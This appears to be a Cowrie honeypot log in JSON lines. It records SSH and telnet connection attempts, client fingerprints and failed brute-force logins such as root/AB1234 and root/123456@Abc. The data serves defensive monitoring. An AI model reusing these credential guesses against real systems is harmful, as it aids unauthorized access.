{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:01.341942Z","src_ip":"51.250.105.222","session":"c73b1c45a86f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":40102,"dst_ip":"10.17.0.5","dst_port":22,"session":"09a5e0afdd4d","protocol":"ssh","message":"New connection: 192.169.180.166:40102 (10.17.0.5:22) [session: 09a5e0afdd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:36.577008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:36.581720Z","src_ip":"192.169.180.166","session":"09a5e0afdd4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:36.647759Z","src_ip":"192.169.180.166","session":"09a5e0afdd4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D3F1$Tr0ng@W0rd","message":"login attempt [root/D3F1$Tr0ng@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:36.844002Z","src_ip":"192.169.180.166","session":"09a5e0afdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:37.910739Z","src_ip":"192.169.180.166","session":"09a5e0afdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":35196,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d7eb39afcbf","protocol":"ssh","message":"New connection: 213.21.248.43:35196 (159.203.135.109:22) [session: 4d7eb39afcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:39.997578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:40.002701Z","src_ip":"213.21.248.43","session":"4d7eb39afcbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:40.076243Z","src_ip":"213.21.248.43","session":"4d7eb39afcbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AB1234","message":"login attempt [root/AB1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:40.403323Z","src_ip":"213.21.248.43","session":"4d7eb39afcbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:41.484918Z","src_ip":"213.21.248.43","session":"4d7eb39afcbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":36640,"dst_ip":"159.203.135.109","dst_port":22,"session":"8352d7fa6521","protocol":"ssh","message":"New connection: 103.122.221.179:36640 (159.203.135.109:22) [session: 8352d7fa6521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:48.955569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:48.958892Z","src_ip":"103.122.221.179","session":"8352d7fa6521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:49.205594Z","src_ip":"103.122.221.179","session":"8352d7fa6521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280519","message":"login attempt [root/280519] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:49.946539Z","src_ip":"103.122.221.179","session":"8352d7fa6521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:28:51.195880Z","src_ip":"103.122.221.179","session":"8352d7fa6521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":54660,"dst_ip":"159.203.135.109","dst_port":22,"session":"caefe9724689","protocol":"ssh","message":"New connection: 159.65.58.200:54660 (159.203.135.109:22) [session: caefe9724689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:00.993531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:01.220812Z","src_ip":"159.65.58.200","session":"caefe9724689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:01.223791Z","src_ip":"159.65.58.200","session":"caefe9724689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiryaev","password":"123456","message":"login attempt [shiryaev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:02.419741Z","src_ip":"159.65.58.200","session":"caefe9724689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:03.708427Z","src_ip":"159.65.58.200","session":"caefe9724689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40648,"dst_ip":"159.203.135.109","dst_port":23,"session":"b460c4ebe144","protocol":"telnet","message":"New connection: 170.64.224.25:40648 (159.203.135.109:23) [session: b460c4ebe144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:04.270240Z"}
{"eventid":"cowrie.session.closed","duration":8.830463171005249,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:13.100577Z","src_ip":"170.64.224.25","session":"b460c4ebe144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":48790,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bfda9a7ca3c","protocol":"ssh","message":"New connection: 154.221.25.72:48790 (159.203.135.109:22) [session: 5bfda9a7ca3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:15.268674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:15.273167Z","src_ip":"154.221.25.72","session":"5bfda9a7ca3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:15.476243Z","src_ip":"154.221.25.72","session":"5bfda9a7ca3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Abc","message":"login attempt [root/123456@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:16.332416Z","src_ip":"154.221.25.72","session":"5bfda9a7ca3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:17.540368Z","src_ip":"154.221.25.72","session":"5bfda9a7ca3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.4.69","src_port":52624,"dst_ip":"159.203.135.109","dst_port":22,"session":"113e50501d09","protocol":"ssh","message":"New connection: 45.63.4.69:52624 (159.203.135.109:22) [session: 113e50501d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:21.506782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:22.182672Z","src_ip":"45.63.4.69","session":"113e50501d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:22.185477Z","src_ip":"45.63.4.69","session":"113e50501d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:22.994190Z","src_ip":"45.63.4.69","session":"113e50501d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":50500,"dst_ip":"159.203.135.109","dst_port":22,"session":"62da79304508","protocol":"ssh","message":"New connection: 92.118.39.71:50500 (159.203.135.109:22) [session: 62da79304508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:45.748931Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:45.849829Z","src_ip":"92.118.39.71","session":"62da79304508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":16268,"dst_ip":"159.203.135.109","dst_port":22,"session":"477bade1fe69","protocol":"ssh","message":"New connection: 38.93.206.2:16268 (159.203.135.109:22) [session: 477bade1fe69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:51.263699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:51.267279Z","src_ip":"38.93.206.2","session":"477bade1fe69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:51.316124Z","src_ip":"38.93.206.2","session":"477bade1fe69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lera2006","message":"login attempt [root/lera2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:51.495962Z","src_ip":"38.93.206.2","session":"477bade1fe69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:52.547803Z","src_ip":"38.93.206.2","session":"477bade1fe69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34384,"dst_ip":"10.17.0.5","dst_port":22,"session":"b860aa574a43","protocol":"ssh","message":"New connection: 91.92.40.4:34384 (10.17.0.5:22) [session: b860aa574a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:59.569674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:59.573008Z","src_ip":"91.92.40.4","session":"b860aa574a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:59.653766Z","src_ip":"91.92.40.4","session":"b860aa574a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":49016,"dst_ip":"159.203.135.109","dst_port":23,"session":"8427e369dee9","protocol":"telnet","message":"New connection: 137.184.5.188:49016 (159.203.135.109:23) [session: 8427e369dee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:59.733051Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass1234","message":"login attempt [test/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:29:59.897883Z","src_ip":"91.92.40.4","session":"b860aa574a43","protocol":"ssh"}
